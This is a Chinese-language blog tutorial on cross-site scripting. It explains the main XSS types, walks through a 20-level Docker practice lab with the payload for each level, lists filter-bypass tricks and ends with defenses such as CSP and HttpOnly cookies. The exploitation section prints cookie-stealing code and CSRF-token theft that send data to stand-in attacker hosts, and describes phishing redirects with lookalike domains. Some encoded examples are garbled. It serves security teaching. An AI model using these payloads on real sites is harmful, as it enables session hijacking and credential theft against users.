[漏洞篇]XSS漏洞详解

[漏洞篇]XSS漏洞

一、 介绍

概念

XSS:通过JS达到攻击效果

XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。这是一种将任意 Javascript 代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览改页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等。

危害

攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户。当一个Web程序的用户输入点没有进行校验和编码,将很容易的导致XSS。

攻击者可通过JS脚本实现:

1、网络钓鱼,包括获取各类用户账号
2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
3、劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等
4、强制弹出广告页面、刷流量等
5、网页挂马;
6、进行恶意操作,如任意篡改页面信息、删除文章等
7、进行大量的客户端攻击,如ddos等
8、获取客户端信息,如用户的浏览历史、真实p、开放端口等
9、控制受害者机器向其他网站发起攻击;
10、结合其他漏洞,如csrf,实施进步危害;
11、提升用户权限,包括进一步渗透网站
12、传播跨站脚本蠕虫等

原理

形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。主要原因是:浏览器执行了黑客带有恶意的JS脚本。

分类

1. 反射型XSS

  • 概念:又称非持久型XSS,这种攻击方式往往具有一次性,只在用户单击时触发。跨站代码一般存在链接中,当受害者请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码通常不存储服务
  • 常见注入点:网站的搜索栏、用户登录入口、输入表单等地方,常用来窃取客户端cookies或钓鱼欺骗
  • 漏洞产生原因:一般是网站只是简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输岀,导致输岀的欻据中存在可被浏览器执行的代码数据
  • 攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接受该目标用户的请求并进行处理,然后服务器把带有XSS的代码发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。由于此种类型的跨站代码存在于URL中,所以黑客通常需要通过诱骗或加密变形等方式将存在恶意代码的链接发给用户,只有用户点击以后才能使得攻击成功实施。
  • 反射型XSS攻击流程:
    1.攻击者寻找具有漏洞的网站
    2.攻击者给用户发了一个带有恶意字符串的链接
    3.用户点击了该链接
    4.服务器返回HTML文档,此时该文档已经包含了那个恶意字符串
    5.客户端执行了植入的恶意脚本,XSS攻击就发生

2. 存储型XSS

  • 概念:存储型XSS( Stored xss Attacks),也是持久型XSS,比反射型XSS更具有威胁性。。攻击脚本将被永久的存放在目标服务器的数据库或文件中。这是利用起来最方便的跨站类型,跨站代码存储于服务端(比如数据库中)
  • 常见注入点:论坛、博客、留言板、网站的留言、评论、日志等交互处。
  • 漏洞产生原因:一般是由于Web应用程序对用户输入数据的不严格,导致Web应用程序将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中。
  • 攻击方式:攻击者在发帖或留言的过程中,将恶意脚本连同正常信息一起注入到发布内容中。随着发布内容被服务器存储下来,恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了 恶意脚本的帖子时,恶意脚本就会在用户的浏览器中得到执行。
  • 存储型XSS攻击流程:
    1.用户提交了一条包含XSS代码的留言到数据库
    2.当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来
    3.浏览器发现有XSS代码,就当做正常的HTML和JS解析执行

3. DOM型XSS

  • 概念:DoM是文档对象模型( Document Object Model)的缩写。它是HTML文档的对象表示,同时也是外部内容(例如 JavaScript)与HTML元素之间的接口。解析树的根节点是“ Document"对象。DOM( Document object model),使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。它是基于DoM文档对象的一种漏洞,并且DOM型XSS是基于JS上的,并不需要与服务器进行交互。其通过修改页面DOM节点数据信息而形成的ⅩSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的 Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。一种基于DOM的跨站,这是客户端脚本本身解析不正确导致的安全问题
  • 注入点:通过js脚本对对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以DOM动态修改页面的内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所 以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。
  • 攻击方式:用户请求一个经过专门设计的URL,它由攻击者提供,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本,当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存 在XSS漏洞。
  • 攻击流程:
    1.攻击者寻找具有漏洞的网站
    2.攻击者给用户发了一个带有恶意字符串的链接
    3.用户点击了该链接
    4.服务器返回HTML文档,但是该文档此时不包含那个恶意字符串
    5.客户端执行了该HTML文档里的脚本,然后把恶意脚本植入了页面
    6.客户端执行了植入的恶意脚本,XSS攻击就发生了
  • 反射型XSS与DOM型区别:
    1、反射型XSS攻击中,服务器在返回HTML文档的时候,就已经包含了恶意的脚本;
    2、DOM型ⅩSS攻击中,服务器在返回HTML文档的时候,是不包含恶意脚本的;恶意脚本是在其执行了非恶意脚本后,被注入到文档里的
    通过JS脚本对对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以DOM动态修改页面的内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。

4. 其他类型(MXSS、UXSS)

①MXSS(Mutation based Cross-Site-Scripting):突变型XSS
MXSS是一种利用浏览器中的解析器漏洞来执行恶意脚本的攻击方式。这种攻击方式不仅可以窃取用户的敏感信息,还可以篡改网页内容,甚至控制用户会话。mXSS漏洞通常隐藏在前端代码中,很难被发现。

原理:浏览器在解析HTML或修改DOM时(如通过innerHTML、框架的模板引擎等),可能对内容进行重新编码或结构化调整。

HTML被认为是一种“宽容”的语言,因为它在遇到错误或意外代码时具有宽容的特性。与一些更严格的编程语言不同,即使代码编写得不完美,HTML也会优先显示内容。这种宽容的表现如下:
当呈现错误的标记时,浏览器不会崩溃或显示错误信息,而是会尝试尽可能地解释和修复HTML。
例如:

  • 将转义字符(如<)恢复为原始字符(<)。
  • 调整标签闭合顺序或修复格式错误的HTML。
  • 这种自动修复行为可能使原本无害的转义内容被还原为可执行的脚本。

案例1:

用户输入<img src=x οnerrοr=alert(1)>被转义为<img src=x οnerrοr=alert(1)>后插入到DOM中。若后续通过innerHTML将内容修改为:

// escapedContent为转义后的字符串
div.innerHTML = "User input: " + escapedContent;

浏览器可能将<解析为<,导致标签被重建并执行onerror事件。

案例2:浏览器自动修复

攻击者提交格式错误的HTML片段(如未闭合的标签

②UXSS(Universal Cross-Site Scripting):通用型XSS
通用型XSS,也叫Universal XSS。UXSS保留了基本XSS的特点,利用漏洞,执行恶意代码,但是有一个重要的区别:不同于常见的XSS,UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。

通俗的说,就是原来我们进行XSS攻击等都是针对Web应用本身,是因为Web应用本身存在漏洞才能被我们利用攻击;而UXSS不同的是通过浏览器或者浏览器扩展的漏洞来”制作ⅩSS漏洞”,然后剩下的我们就可以像普通XSS那样利用攻击了。

简单的说,UXSS不需要—个漏洞页面来触发攻击,它可以渗透入安全没有问题的页面,从而创造一个漏洞,而该页面原先是安全无漏洞的。 不仅是浏览器本身的漏洞,现在主流浏览器都支持扩展程序的安装,而众多的浏览器扩展程序可能导致带来更多的漏洞和安全问题。 因为UXSS攻击不需要页面本身存在漏洞,同时可能访问其他安全无漏洞页面,使得UXSS成为XSS里危险和最具破坏性的攻击类型之一

二、 实战演示

靶场搭建

本地需要有docker环境,这里主要通过docker搭建靶场。

# 拉取镜像
docker pull c0ny1/xss-challenge-tour 

# 运行容器
docker run -dt --name xss -p 8080:80 --rm c0ny1/xss-challenge-tour 
# docker run -dt --name xss -p 8081:80 --rm c0ny1/xss-challenge-tour 

输入http://localhost:8080/访问靶场:
在这里插入图片描述

实战

Pass01:直接<script>构造js

  1. 我们来到第一关
    在这里插入图片描述

  2. 发现页面有展示test,而test的参数来源于name=test,也就是页面会反显URL中的name值。此时我们尝试将name后面改为js脚本:<script>alert(‘xss’)</script>,让浏览器在反显阶段执行js,最终实现xss注入。
    在这里插入图片描述

  3. 回车,浏览器成功将js解析,成功完成xss注入
    在这里插入图片描述

Pass02:闭合构造js

  1. 我们来到第二关,搜索框内输入第一关的JS脚本:<script>alert(‘xss’)</script>。点击搜索发现页面并没有执行js
    在这里插入图片描述
  2. 我们f12查看元素,发现输入的js脚本被当做了value值,因此浏览器并没有执行我们注入的js在这里插入图片描述
  3. 此时,我们可以在之前的脚本内容添加"> 实现对input标签value值的闭合,于是我们的注入脚本就变成了
"> <script>alert('xss')</script>
  1. 点击搜索,成功通关
    在这里插入图片描述

Pass03:其他属性,onmouseover

  1. 输入我们第二关的脚本"> <script>alert(‘xss’)</script> 发现不起作用,的<>已经被过滤掉了,无法构成完整的脚本
    在这里插入图片描述
  2. 因为此时是在input标签内部,所以我们可以利用其他的语法来实现注入,并且不添加</script>,比如onmouseover属性,当鼠标移动到该位置时,触发。注入脚本:
xx' onmouseover='alert(/xss/)

在这里插入图片描述
3. 现在,我们只需要将鼠标移动到input搜索框中,触发onmouseover事件即可
在这里插入图片描述

Pass04:引号变化

  1. 来到第四关,我们发现第三关的脚本无法使用了,因为构造的引号方式闭合问题,导致无法使用。
xx' onmouseover='alert(/xss/)

在这里插入图片描述

  1. 于是自然而然就想到,将注入脚本的单引号换成双引号
xx" onmouseover="alert(/xss/)

在这里插入图片描述

Pass05:伪链接

  1. 来到第五关,我们输入之前注入的脚本:xx" onmouseover="alert(/xss/),发现on被替换为了o_n,于是onmouseover事件就失效了
    在这里插入图片描述
  2. 事件无法使用了,下面我们可以尝试通过伪链接方式假造一个超链接尝试
# 新增a标签,注入链接,点击后随机触发脚本
"> <a href="javascript:alert('xss')">点我一下</a>

在这里插入图片描述
3. 点击超链接,成功触发脚本
在这里插入图片描述

Pass06:大小写绕过

  1. 输入XSS脚本尝试:"><script>alert(/xss/)</script>发现script关键字被过滤
    在这里插入图片描述
  2. 我们首先想到大小写绕过,尝试一下
"><SCRIPT>alert(/xss/)</SCRIPT>
  1. 发现成功绕过
    在这里插入图片描述

Pass07:双写绕过

  1. 我们输入脚本尝试:"><script>alert(/xss/)</script>发现整个script被替换为空
    在这里插入图片描述
  2. 遇到这种替换的,我们需要有一定敏感性,首先应该想到双写绕过
111"><scrscriptipt>alert(/xss/)</scrscriptipt>
  1. 发现成功绕过,执行脚本
    在这里插入图片描述

Pass08:HTML字符实体编码绕过

  1. 我们尝试脚本"><script>alert(/xss/)</script>,发现script被过滤
    在这里插入图片描述
  2. 我们尝试javascript:alert(‘xss’)发现也被过滤替换
    在这里插入图片描述
  3. 此时,我们可以尝试编码,将javascript:alert(‘xss’)进行编码

编码在线地址:https://config.net.cn/tools/HtmlEncode.html

在这里插入图片描述

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;

在这里插入图片描述
4. 点击友情链接,发现成功触发脚本
在这里插入图片描述

Pass09:http协议头绕过

  1. 来到第九关,发现还是合法链接类型,于是尝试第八关的脚本,发现提示我们链接不合法
# 编码前内容:javascript:alert('xss')
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;

在这里插入图片描述
2. 看来是我们编码前内容不满足链接格式,作为超链接,需要http://或https://,于是我们猜测后端有校验传入的链接中是否有包含http,我们在编码后的脚本末尾添加上//http://,//用于注释后面的http://

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;//http://

在这里插入图片描述
3. 点击链接,发现能正常被触发
在这里插入图片描述

Pass10:隐藏输入框绕过

  1. 来到第10关,我们发现页面没有输入框让我们传参,但我们知道,输入框只是让用户输入参数的一种方式,没有输入框我们也可以进行传参,先看看源码,观察需要我们输入什么参数
    在这里插入图片描述
  2. 我们尝试在URL上输入这三个参数?t_link=1&t_history=2&t_sort=3
    在这里插入图片描述
  3. 这下我们找到了XSS注入点,我们可以通过t_sort参数构造攻击脚本,输入?t_sort=<script>alert(/xss/)</script>,发现<script>被过滤
    在这里插入图片描述
  4. 于是我们需要尝试不带<>的攻击脚本,因为是输入框,我们可以尝试点击事件,onclick
# 这里的type=""是为了覆盖原有的tpye=hidden,让输入框暴露出来,这样我们才能点击触发脚本
" onclick="alert(/xss/)" type=""

在这里插入图片描述
5. 我们点击输入框,发现成功触发脚本
在这里插入图片描述

Pass11:Referer请求头注入

  1. 我们尝试上面的注入方式,发现没有效果
# 这里的type=""是为了覆盖原有的tpye=hidden,让输入框暴露出来,这样我们才能点击触发脚本
" onclick="alert(/xss/)" type=""
  1. 此时我们可以尝试HTTP请求头,多次尝试之后,我们发现HTTP 的Referer对应的值,会反显到我们的form表单t_ref里。

tips:如果发现bp代理失效,抓不到包,可能是因为bp默认代理端口与我们靶场端口冲突了(8080),只需要重新配置bp代理端口或修改docker靶场映射端口即可

在这里插入图片描述
可以看到t_ref里的值已经成功变为了我们Referer的值:
在这里插入图片描述
下面我们就可以构造XSS语句,通过修改HTTP Referer实现XSS:

Referer: " onmouseover="alert(1)" type="text"  

在这里插入图片描述
触发XSS:
在这里插入图片描述
在这里插入图片描述

Pass12:User-Agent注入

Pass11 尝试过了Referer,下面我们猜测t_ua指的是HTTP请求头中的User-Agent,同时我们通过t_ua对应的值其实也可以看出来。本地电脑的User-Agent会反显到这个表单的t_ua里。
在这里插入图片描述
于是,步骤与上面一致,我们bp抓包修改User-Agent:

//点击触发
User-Agent: " onclick="alert(/xss/)" type="text  

在这里插入图片描述

Pass13:Cookie注入

来到本关,有了前面两关的经验,我们猜测这个隐藏表单里最后一个输入框,对应的其实是HTTP请求头的字段。那么t_cook,我们猜测是HTTP请求头中的Cookie。
在这里插入图片描述
老规矩,还是通过Burpsuite抓包,然后注入XSS语句:
在这里插入图片描述
点击输入框,触发XSS:
在这里插入图片描述

Pass14:图片EXIF注入

来到14关,我们发现页面直接黑屏,没有任何内容
在这里插入图片描述
我们F12打开开发者工具,发现页面存在iframe标签,页面通过<iframe>加载外部图片查看器,理论上需利用图片EXIF信息注入XSS,即需上传包含恶意脚本的图片,利用解析EXIF的漏洞触发XSS

在这里插入图片描述
使用工具(如exiftool)修改图片EXIF注释:

exiftool -Comment='<img src=1 onerror=alert(1)>' image.jpg  

然后我们上传图片,让页面解析,触发xss漏洞。

Pass15:JS动态包含漏洞注入

来到第15关,我们发现只有一张图片:
在这里插入图片描述
继续查看源码,我们发现本关使用的是AngularJS的ng-include动态包含文件
在这里插入图片描述
于是我们可以通过src参数引用外部文件,这里我们利用ng-include包含存在漏洞的Level1页面,并传递XSS Payload,构造URL参数:

# 我们将外部文件的src链接指向第一关,并通过URL Payload构造XSS
# src后面拼接的参数将会被反显到页面的ng-include中
http://靶场地址/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'  

因为我环境不满足,所以这里贴一张别人的通关的效果图:
在这里插入图片描述

Pass16:编码绕过

我们发现keyword中的值会被反显到页面中:
在这里插入图片描述
同时经过测试,该关卡过滤了空格和script关键字,但未过滤尖括号,由于HTML中换行符%0a或%0d可替代空格,可以用于拼接事件属性。故构造payload如下:

<img%0dsrc=a%0donerror=alert(1)>

在这里插入图片描述

Pass17:flash事件触发

观察页面源码发现,本关直接将URL后面的参数拼接到了embed中:
在这里插入图片描述
在这里插入图片描述
利用这个特性,我们可以第二参数传入XSS Payload,构造XSS:

arg01=a&arg02=%20onmouseover=alert`1`

在这里插入图片描述

Pass18:flash事件触发

本关payload与pass17相同:

arg01=a&arg02=%20onmouseover=alert`1`

在这里插入图片描述

Pass19:flash漏洞

本关是利用Flash XSS漏洞,需利用flash自身漏洞

原理:利用Flash文件(.swf)的参数处理缺陷,通过分析反编译后的Flash代码(如使用JPEXS工具),发现arg01=version时,arg02的值会被拼接到Flash的链接逻辑中,虽然参数通过htmlspecialchars实体化处理,但Flash内部未对href属性内容充分过滤,且允许通过javascript:协议执行代码,故可以构造payload
关键:
arg01需设置为version 触发Flash中特定逻辑
arg02需构造包含恶意代码的HTML标签
通过<a>标签的href属性注入javascript:协议代码

构造后的payload:

?arg01=version&arg02=<a href="javascript:alert(1)">xss</a>

?arg01=a&arg02="onmouseover=alert`1` "

这里我环境不允许,大家可以自行尝试(其他人的效果图贴到这里了):
在这里插入图片描述

Pass20:zeroclipboard.swf漏洞

本关通过标签加载xsf04.swf文件(实际为zeroclipboard.swf的漏洞版本),而存在核心漏洞是Flash代码未对参数进行严格过滤,导致通过URL参数注入恶意代码

故反编译zeroclipboard.swf后分析源码:

  • 可以看到Flash通过LoaderInfo从URL参数arg01和arg02中读取值
    在这里插入图片描述
  • 关键漏洞函数为ExternalInterface.call
    在这里插入图片描述
    用于与JavaScript交互。故需构造参数闭合arg02原有逻辑并插入恶意代码。
    得到:
?arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width%26height

在这里插入图片描述

三、绕过手段

1. 前端过滤

有些防止XSS是通过前端js判断的,此时我们就可以BrupSuite抓包绕过或禁用js。

BrupSuite抓包改包绕过。

2. 双写绕过

<scri<script>pt>alert(xss)</scri<script>pt>

3. 事件过滤

替换其他事件,如:onclick,onmousemove事件

4. 大小写绕过

<SCRIPT>aLeRT(111)</sCRIpt>

5. 注释干扰绕过

如:<scri<!–test–> pt> alert(xss);</scr<!–test–> ipt>

6. 伪协议绕过

如:

 111"> <a href= "javascript:alert(document.domain)">xss </a>

        < table background= "javascript:alert(/xss/)"> </table>

        <img srC= "javascript:alert('ss);" >

7. 回车/空格/Tab绕过

// 回车
< img src= "jav
      ascript:
      alert('xss');" >

// 空格
<img src= "javascript:alert('xss');" >

// Tab
< img src= "javasc :ript:alert('ss');" >

8. 编码绕过

Base64、JS编码、16进制、Unicode编码、HTML实体编码、URL编码

  1. Base64编码绕过

如果过滤了 < > ’ " script,可以用base64编码,eval(") eval函数把字符串 当做程序执行atob函数是将base64密文转换为明文。
base64编码多用于如下两种情况:

  1. <a href= “可控点”>
  2. < iframe src= “可控点”>
    举例:
    <a href= “data:text/html;base64,PGItZyBzcmM9eCBvbmVycm9yPWFsZXJOKDEpPg==”>test<
    /a>
    这样当test A链接点击时就会以data协议页面以html/text的方式解析编码为base64然后单点击a链接时base64的编码就被还原成我们原本的< img src=x οnerrοr= alert(1)>
  1. JS编码

八进制:三个八进制数字,如果个数不够,在前面补0,例如"e’的编码为"\145"

  1. 16进制编码

两个十六进制数字,如果个数不够,在前面补0,'e’的编码为"\x65"
十六进制前面加上\x可以被JS识别
尖括号被转义时,利用十六进制绕过
如:\x3cscript\x3ealert(document.domain);\x3c/script\x3e

  1. Unicode编码绕过

四个十六进制数字,如果个数不够,在前面补0,'e’的编码为"\u0065"
十六进制前面加上\u00变成JS可识别的Unicode编码
\u003cscript\u003ealert(document.domain);\u003c/script\u003e

  1. HTML编码绕过

字符编码:十进制、十六进制编码,样式为"&#数值;“,例如”<“可以编码为”<和"<"
<img src="x"οnerrοr= “al&# 101;r 16;(1)”>
浏览器是不会在html|标签里解析js编码的,所以我们在οnerrοr=后面放js中的编码是不会解析你放进去是什么就是什么。HTML5新增的实体命名编码:
: => [冒号]
=> [换行]
<a href= “javasc ript:alert(1)”>click

  1. URL编码

进行两次URL全编码

9. CSS绕过

  1. IE特性绕过XSS
  2. CSS特性绕过XSS
  3. IE中利用CSS触发XSS
  1. 利用IE特性绕过XSS

IE中两个反单引号hgj `` 可以闭合一个左边双引号
``οnmοusemοve= alert(1)

  1. CSS特性绕过XSS

设置background:url,利用JavaScript伪协议执行js,目前只有IE浏览器支持
background-color:# f00;background:url(javascript:alert(document.domain);");
低版本IE浏览器6 10 D版本弹窗成功

  1. IE中利用CSS触发XSS

CSS中的注释//
xss:expres/
/sion(if(!window.x){alert(document.domain);window.x= 1;})

四、漏洞利用

1. Cookie窃取

下面这个URL包含了受害者Cookie信息,当浏览器加载此图像时,会自动向指定的服务器发起GET请求,请求参数中携带着窃取的Cookie。

  1. 创建图像对象:通过document.createElement(‘img’)创建一个新的<img>元素
  2. 设置源地址(src属性):将图像的src属性设置为攻击者控制的服务器地址,并附带上受害者当前页面的Cookie。这里使用encodeURIComponent()函数对document.cookie返回的Cookie值进行URL编码,确保任何特殊字符不会导致URL格式错误
img.src = 'http://attacker-controlled-server.com/track?cookie=' + encodeURIComponent(document.cookie);
  1. 隐藏图像:为了隐蔽操作,通常将图像样式设置为display: none;,使其在页面上不可见,避免引起用户的警觉。
img.style.display = 'none';
  1. 插入到文档:最后,将这个带有恶意目的的图像元素添加到网页的document.body中。浏览器会立即开始加载图像,从而触发了向攻击者服务器发送带有Cookie数据的HTTP请求。
document.body.appendChild(img);
  1. 攻击者在其控制的服务器端接收并记录这些携带Cookie信息的请求,随后可以解析出Cookie值,用于后续的攻击活动,如伪造身份登录、实施欺诈操作等。
    除了这种场景也可以通过评论区页面,进行XSS会话劫持

完整XSS攻击代码:

var img = document.createElement('img');
img.src = 'http://attacker-controlled-server.com/track?cookie=' + encodeURIComponent(document.cookie);
img.style.display = 'none'; // 隐藏图片以避免引起用户注意
document.body.appendChild(img); // 将图片元素插入到页面中,触发HTTP请求

2. 重定向到钓鱼网站(获取用户账号密码等)

通过下面代码可直接将用户页面重定向到钓鱼网站,截取用户敏感信息

<script>window.location.href = "http://钓鱼.com/";</script>
  1. 黑客通过邮件等方式诱导用户点击进入qq空间(实际是钓鱼网站),比如说qq空间限时领取黄钻、vip等,诱导用户点击链接
    在这里插入图片描述
    钓鱼网站最直观的就是看域名,可以看到目标网站域名 :qq.xps.com 尽管域名中出现了 qq 字样,但是一级域名却是 xps.com 这一点就直接暴露了钓鱼网站的本性。
    但早期还有一种利用拉丁字母注册的域名伪造钓鱼网站的案例,这种就比较逼真了,下面国光简单列举一些:
# 真域名
www.oppo.com
# 假域名
www.οppο.com
# 真域名
www.vip.com
# 假域名
www.νip.com
  1. 用户看到qq空间,输入自己的 QQ 账号和密码信息,点击登录后域名跳转到真正的 QQ 官网
    但第一次输入点击登录后不会让用户登录成功(因为是钓鱼网站并非真实网站,没有登录后台功能等),而是立即跳转至真实网站登录页。
    然后用户再输入自己的 QQ 账号和密码就可以成功登陆了。目前很多钓鱼网站都是这种思路,这可以让被钓者产生一种自己第一次是密码不小心输入错误的错觉,从而放松警惕。
    在这里插入图片描述
  2. 然后黑客就可以拿到用户的账号密码了
    然后钓鱼网站的管理员每天会到自己的 QQ 空间钓鱼管理中心里面看看今天又有哪些人上钩
    在这里插入图片描述

3. XSS + CSRF(跨站请求伪造)结合

通过这种方式可绕过CSRF Token保护。
首先利用XSS窃取用户的CSRF Token:

const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
fetch('https://attacker.com/steal?token=' + csrfToken);

然后伪造敏感操作请求(如转账):

fetch('/transfer', {
  method: 'POST',
  headers: {'X-CSRF-Token': csrfToken},
  body: 'to=attacker&amount=1000'
});

4. 任意网页跳转引流

网页跳转,等同于任意url跳转。通过下面代码,强制跳转到对应网页,进行引流

<script>window.location.href="https://www.baidu.com"</script>
<meta content="1;http://www.baidu.com/" http-equiv="refresh">

五、防御手段

1. 校验用户输入

  • 不信任任何用户输入:所有输入数据均视为潜在恶意。过滤危险字符等
  • 白名单机制:仅允许符合预期格式的输入。

2. 安全Cookie限制

HttpOnly:阻止JavaScript访问Cookie。
Secure:仅通过HTTPS传输Cookie。
SameSite:防止跨站请求伪造(CSRF)。

3. 避免使用高危API

  1. element.textContent替换element.innerHTML
  2. document.createElement()替换高危的document.write()
  3. JSON.parse()、函数封装替换eval()
  4. document.textContent替代innerHTML,避免DOM型XSS

4. 使用CSP(内容安全策略)

通过HTTP头 Content-Security-Policy 限制资源加载和脚本执行,限制页面加载外部资源,阻止未经授权的脚本执行。
参考配置:

Content-Security-Policy: 
  default-src 'none';
  script-src 'self' https://trusted-cdn.com;
  img-src 'self';
  style-src 'self' 'unsafe-inline';
  connect-src 'self';
  form-action 'self';
  frame-ancestors 'none';
  report-uri /csp-report;

5. 使用WAF

使用WAF(web应用防火墙),规则示例:拦截包含

参考文章:
https://cn-sec.com/archives/2682617.html
https://xz.aliyun.com/news/8054

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值